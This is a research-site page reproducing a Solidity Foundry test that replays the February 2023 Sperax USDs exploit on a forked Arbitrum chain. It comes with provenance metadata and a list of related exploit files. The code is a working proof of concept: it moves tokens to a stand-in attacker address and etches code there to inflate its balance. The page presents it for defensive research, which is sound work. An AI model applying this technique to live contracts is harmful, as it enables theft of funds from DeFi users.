Public reproduction file
src/test/2023-02/USDs_exp.sol
Public reproduction file for dataset entry - Spherax USDs.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "forge-std/console.sol";7// @Analysis8// https://twitter.com/danielvf/status/16219654128323502089// https://medium.com/sperax/usds-feb-3-exploit-report-from-engineering-team-9f0fd3cef00c10// @TX11// https://arbiscan.io/tx/0xfaf84cabc3e1b0cf1ff1738dace1b2810f42d98baeea17b146ae032f0bdf82d513interface USDs {14 function balanceOf(15 address _account16 ) external returns (uint256);17 function mint(address _account, uint256 _amount) external;18 function transfer(address to, uint256 amount) external returns (bool);19 function vaultAddress() external returns (address);20}22contract USDsTest is Test {23 USDs usds = USDs(0xD74f5255D557944cf7Dd0E45FF521520002D5748);24 address ATTACKER_CONTRACT = address(0xdeadbeef);26 function setUp() public {27 vm.createSelectFork("arbitrum", 57_803_529);29 vm.label(address(usds), "USDs");30 vm.label(0x97A7E6Cf949114Fe4711018485D757b9c4962307, "USDsImpl");31 vm.label(ATTACKER_CONTRACT, "AttackerContract");32 vm.label(address(this), "AttackerAddress");34 vm.prank(usds.vaultAddress());35 usds.mint(address(this), 11e18);36 }38 function testExploit() public {39 usds.transfer(ATTACKER_CONTRACT, 11e18);41 // Etch code. In the real hack this was a Gnosis Safe being deployed42 vm.etch(ATTACKER_CONTRACT, bytes("code"));44 // Trigger balance recalculation45 vm.prank(ATTACKER_CONTRACT);46 usds.transfer(address(this), 1);48 console.log("Attacker Contract balance after: ", usds.balanceOf(ATTACKER_CONTRACT));49 }50}Analysis
Dataset entry
Public Foundry test for “- Spherax USDs” (2023-02-03). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-02/BonqDAO_exp.solSame month in the dataset · 533 lines
- src/test/2023-02/CowSwap_exp.solSame month in the dataset · 64 lines
- src/test/2023-02/Dexible_exp.solSame month in the dataset · 83 lines
- src/test/2023-02/dForce_exp.solSame month in the dataset · 382 lines
- src/test/2023-02/DYNA_exp.solSame month in the dataset · 132 lines
- src/test/2023-02/EFVault_exp.solSame month in the dataset · 38 lines
- src/test/2023-02/FDP_exp.solSame month in the dataset · 114 lines
- src/test/2023-02/LaunchZone_exp.solSame month in the dataset · 146 lines
- src/test/2023-02/Orion_exp.solSame month in the dataset · 191 lines
- src/test/2023-02/Platypus_exp.solSame month in the dataset · 138 lines
- src/test/2023-02/RevertFinance_exp.solSame month in the dataset · 91 lines
- src/test/2023-02/Sheep_exp.solSame month in the dataset · 72 lines
- src/test/2023-02/Starlink_exp.solSame month in the dataset · 80 lines
- src/test/2023-02/SwapX_exp.solSame month in the dataset · 83 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- Spherax USDs
- Path
- src/test/2023-02/USDs_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 1d4eaeee836fdf786ca32d92183f504477f7288c
- Language
- Solidity
- Size
- 51 lines
- Date
- 2023-02-03
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-02/USDs_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1d4eaeee836fdf786ca32d92183f504477f7288c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.